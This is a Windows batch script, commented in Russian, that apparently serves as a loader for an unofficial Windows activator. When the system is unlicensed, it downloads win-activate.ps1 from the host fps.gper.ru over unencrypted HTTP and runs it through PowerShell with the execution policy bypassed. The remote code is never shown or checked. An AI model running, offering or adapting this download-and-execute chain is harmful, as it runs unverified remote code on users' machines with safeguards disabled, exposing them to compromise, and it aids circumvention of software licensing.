@echo off
setlocal enabledelayedexpansion

:: Настройки путей
set "FILE_NAME=win-activate"
set "PS_URL=http://fps.gper.ru/%FILE_NAME%.ps1"
set "PS_TMP=%TEMP%\%FILE_NAME%_tmp.ps1"
set "PS_FILE=%TEMP%\%FILE_NAME%.ps1"

echo [*] Checking Windows activation status...

:: Проверка статуса через cscript (ищем индекс 1, который означает 'Licensed')
cscript //nologo %systemroot%\system32\slmgr.vbs /dli | findstr /i "Licensed" >nul
if %errorlevel% equ 0 (
    echo [OK] Windows is already activated.
    pause
    exit /b 0
)

echo [!] Windows is not activated. Starting download...

:: --- Step 1: Загрузка ---
powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "(New-Object Net.WebClient).DownloadFile('%PS_URL%', '%PS_TMP%')"
if %errorlevel% neq 0 (
    echo [!] Failed to download script.
    pause
    exit /b 1
)

:: --- Step 2: Гарантируем UTF-8 BOM ---
echo [2/3] Ensuring UTF-8 BOM...
powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "$b=[System.IO.File]::ReadAllBytes('%PS_TMP%'); if(-not($b.Count -ge 3 -and $b[0] -eq 0xEF -and $b[1] -eq 0xBB -and $b[2] -eq 0xBF)){$b=[byte[]](0xEF,0xBB,0xBF)+$b}; [System.IO.File]::WriteAllBytes('%PS_FILE%',$b)"
if %errorlevel% neq 0 (
    echo [!] Failed to save script file.
    pause
    exit /b 1
)
del "%PS_TMP%" >nul 2>&1

:: --- Step 3: Запуск ---
echo [3/3] Running win7.ps1...
echo.
chcp 437 >nul 2>&1
powershell.exe -NoProfile -ExecutionPolicy Bypass -File "%PS_FILE%"
set "EXIT_CODE=%errorlevel%"

if %EXIT_CODE% neq 0 (
    echo.
    echo [!] Script finished with error code: %EXIT_CODE%
    pause
) else (
    echo [OK] Done.
)

exit /b %EXIT_CODE%